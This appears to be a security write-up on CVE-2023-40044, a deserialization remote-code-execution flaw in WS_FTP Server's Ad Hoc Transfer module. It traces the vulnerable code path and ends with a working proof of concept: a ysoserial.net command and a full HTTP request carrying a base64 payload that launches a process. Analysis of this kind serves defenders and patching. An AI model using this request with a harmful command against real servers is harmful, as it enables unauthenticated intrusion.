📖 Vulnerability Overview#
In WS_FTP Server versions earlier than 8.7.4 and 8.8.2, an unauthenticated attacker can exploit a .NET deserialization vulnerability in the Ad Hoc Transfer module to achieve remote command execution on the WS_FTP Server system. The Ad Hoc Transfer module is part of the standard WS_FTP Server installation, which means most WS_FTP Server deployments may be affected. Progress Software recommends that all customers upgrade to the latest version, or remove/disable the Ad Hoc Transfer module.
This vulnerability was discovered by Assetnote. According to their research, an attacker does not need authentication to reach RCE on a vulnerable target.
Rapid7 also observed exploitation of this vulnerability in the wild. Based on evidence of active exploitation, CISA added it to the Known Exploited Vulnerabilities Catalog.
The vulnerability is tracked as CVE-2023-40044. Its CVSS v3 score is at least 8.8, making it a high-severity issue.
Affected Products#
If the Ad Hoc Transfer module is enabled, the following versions are affected:
- 2022.0.1 (8.8.1)
- 2022.0 (8.8.0)
- 2020.0.0 (8.7.0)
- 2020.0.1 (8.7.1)
- 2020.0.2 (8.7.2)
- 2020.0.3 (8.7.3)
🕵️ Analysis#
FormStream Class#
The root cause of this vulnerability is unsafe deserialization. The vulnerable DeserializeProcessor() method deserializes user-controlled data without validation.
internal IFileProcessor DeserializeProcessor(string input)
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
MemoryStream serializationStream1 = new MemoryStream(Convert.FromBase64String(input));
SettingsStorageObject settingsStorageObject = (SettingsStorageObject) binaryFormatter.Deserialize((Stream) serializationStream1); // <-- unsafe deserializationTracing backward through the call chain shows that DeserializeProcessor() is called by CheckForActionFields(). CheckForActionFields() attempts to extract the string after ::AHT_DEFAULT_UPLOAD_PARAMETER:: from a multipart field, then passes that string into DeserializeProcessor() for deserialization.
The presence of ::AHT_UPLOAD_PARAMETER:: also appears to trigger the same unsafe deserialization flow.
private void CheckForActionFields()
{
byte[] array = this._currentField.ToArray();
string result1 = string.Empty;
int boundaryPos = this.IndexOf(array, this.BOUNDARY);
if (!this.TryParseActionField(this.ID_TAG, array, out result1, boundaryPos))
{
string result2 = string.Empty;
if (this.TryParseActionField(this.DEFAULT_PARAMS_TAG, array, out result2, boundaryPos)) // <-- ::AHT_DEFAULT_UPLOAD_PARAMETER::
{
this._defaultProcessor = UploadManager.Instance.DeserializeProcessor(result2.Substring(this.DEFAULT_PARAMS_TAG.Length)); // <-- unsafe deserialization
this._processor = this._defaultProcessor;
this._currentField = new MemoryStream();
}
else if (this.TryParseActionField(this.PARAMS_TAG, array, out result2, boundaryPos)) // <-- ::AHT_UPLOAD_PARAMETER::
{
this._processor = UploadManager.Instance.DeserializeProcessor(result2.Substring(this.PARAMS_TAG.Length)); // <-- unsafe deserialization
this._currentField = new MemoryStream();
}To reach CheckForActionFields(), execution must first pass through ProcessField() and Write().
private FormStream.SectionResult ProcessField(byte[] bytes, int pos)
{
int nextOffset1 = -1;
if (pos < bytes.Length - 1)
{
nextOffset1 = this.IndexOf(bytes, this.BOUNDARY, pos + 1);
if (nextOffset1 != -1 && this._inFile)
nextOffset1 -= 2;
}
if (nextOffset1 >= 0)
{
this.WriteBytes(this._inFile, bytes, pos, nextOffset1 - pos);
if (!this._inFile)
this.CheckForActionFields(); // <-- vulnerable methodWrite() walks through the HTTP form-data, searches for boundary strings, and parses each field header. To trigger ProcessField(), the following conditions must be met:
this._inFieldmust betrue- The multipart field header must not contain both
filenameandContent-Disposition this._inFilemust befalse
public override void Write(byte[] bytes, int offset, int count)
{
int num1 = 0;
byte[] numArray;
if (this._buffer != null)
{
numArray = new byte[this._buffer.Length + count];
Buffer.BlockCopy((Array) this._buffer, 0, (Array) numArray, 0, this._buffer.Length);
Buffer.BlockCopy((Array) bytes, offset, (Array) numArray, this._buffer.Length, count);
}
else
{
numArray = new byte[count];
Buffer.BlockCopy((Array) bytes, offset, (Array) numArray, 0, count);
}
this._position += (long) count;
int srcOffset;
int num2;
FormStream.SectionResult sectionResult;
do
{
if (this._headerNeeded)
{
srcOffset = num1;
num2 = this.IndexOf(numArray, this.BOUNDARY, num1);
if (num2 >= 0)
{
if (this.IndexOf(numArray, this.EOF, num2) != num2)
{
int num3 = this.IndexOf(numArray, this.EOH, num2);
if (num3 >= 0)
{
this._inField = true; // <-- _inField = true
this._headerNeeded = false;
Dictionary<string, string> header = this.ParseHeader(numArray, num2);
if (header != null)
{
if (header.ContainsKey("filename") && header.ContainsKey("Content-Disposition")) // <-- must be false
{
string fileName = header["filename"].Trim('"').Trim();
if (!string.IsNullOrEmpty(fileName))
{
try
{
this._fileName = header["filename"].Trim('"');
this._inFile = true;
string contentType = !header.ContainsKey("Content-Type") ? "application/octet-stream" : header["Content-Type"];
this.fileProccessingEnded = false;
object identifier = this._processor.StartNewFile(fileName, contentType, header, this._previousFields);
this.OnFileStarted(fileName, identifier);
}
catch (Exception ex)
{
this._fileError = true;
this.OnError(ex);
}
}
}
else
{
this._inFile = false; // <-- _inFile = false
this._currentField = new MemoryStream();
this._currentFieldName = header["name"];
}
num1 = num3 + 4;
}
else
goto label_9;
}
else
goto label_17;
}
else
goto label_6;
}
else
goto label_18;
}
if (this._inField)
{
this._buffer = (byte[]) null;
sectionResult = this.ProcessField(numArray, num1); // <-- vulnerable methodUploadModule Class#
UploadModule determines whether the incoming HTTP request is a multipart file upload. If it is, Context_AcquireRequestState() creates a FormStream object and processes the request through Write().
public class UploadModule : IHttpModule
{
private void Context_AcquireRequestState(object sender, EventArgs e)
{
// ...
string boundary = "--" + knownRequestHeader.Substring(knownRequestHeader.IndexOf("boundary=") + "boundary=".Length);
using (FormStream formStream = new FormStream(this.GetProcessor(), boundary, app.Request.ContentEncoding))
{
formStream.FileCompleted += new FileEventHandler(this.fs_FileCompleted);
formStream.FileCompletedError += new FileErrorEventHandler(this.fs_FileCompletedError);
formStream.FileStarted += new FileEventHandler(this.fs_FileStarted);
formStream.Error += new ErrorEventHandler(this.OnTransactionAborted);
this._context = app.Context;
long bytes = 0;
if (workerRequest.GetPreloadedEntityBodyLength() > 0)
{
byte[] preloadedEntityBody = workerRequest.GetPreloadedEntityBody();
formStream.Write(preloadedEntityBody, 0, preloadedEntityBody.Length); // <-- vulnerable methodIn the web.config for the WS_FTP Ad Hoc Transfer application, MyFileUpload.UploadModule is loaded as an IIS HTTP module and handles incoming file upload requests. As a result, multipart HTTP requests sent to URIs under the Ad Hoc Transfer module that begin with /AHT/ may trigger this vulnerability.
<httpModules>
<add name="extend_session_module" type="AHT.Main.ExtendUserSessionModule" />
<add name="upload_module" type="MyFileUpload.UploadModule, fileuploadlibrary, Version=4.0.0.0" />
</httpModules>PoC#
Use ysoserial.net to generate a .NET deserialization payload:
.\ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "notepad.exe" -o base64HTTP multipart POST request:
POST /AHT/AhtApiService.asmx/AuthUser HTTP/1.1
Host: victim.com
User-Agent: CVE-2023-40044
Accept: */*
Content-Length: 1303
Content-Type: multipart/form-data; boundary=boundary
--boundary
name: PoC
::AHT_DEFAULT_UPLOAD_PARAMETER::AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAugU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIG5vdGVwYWQuZXhlIiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=
--boundary–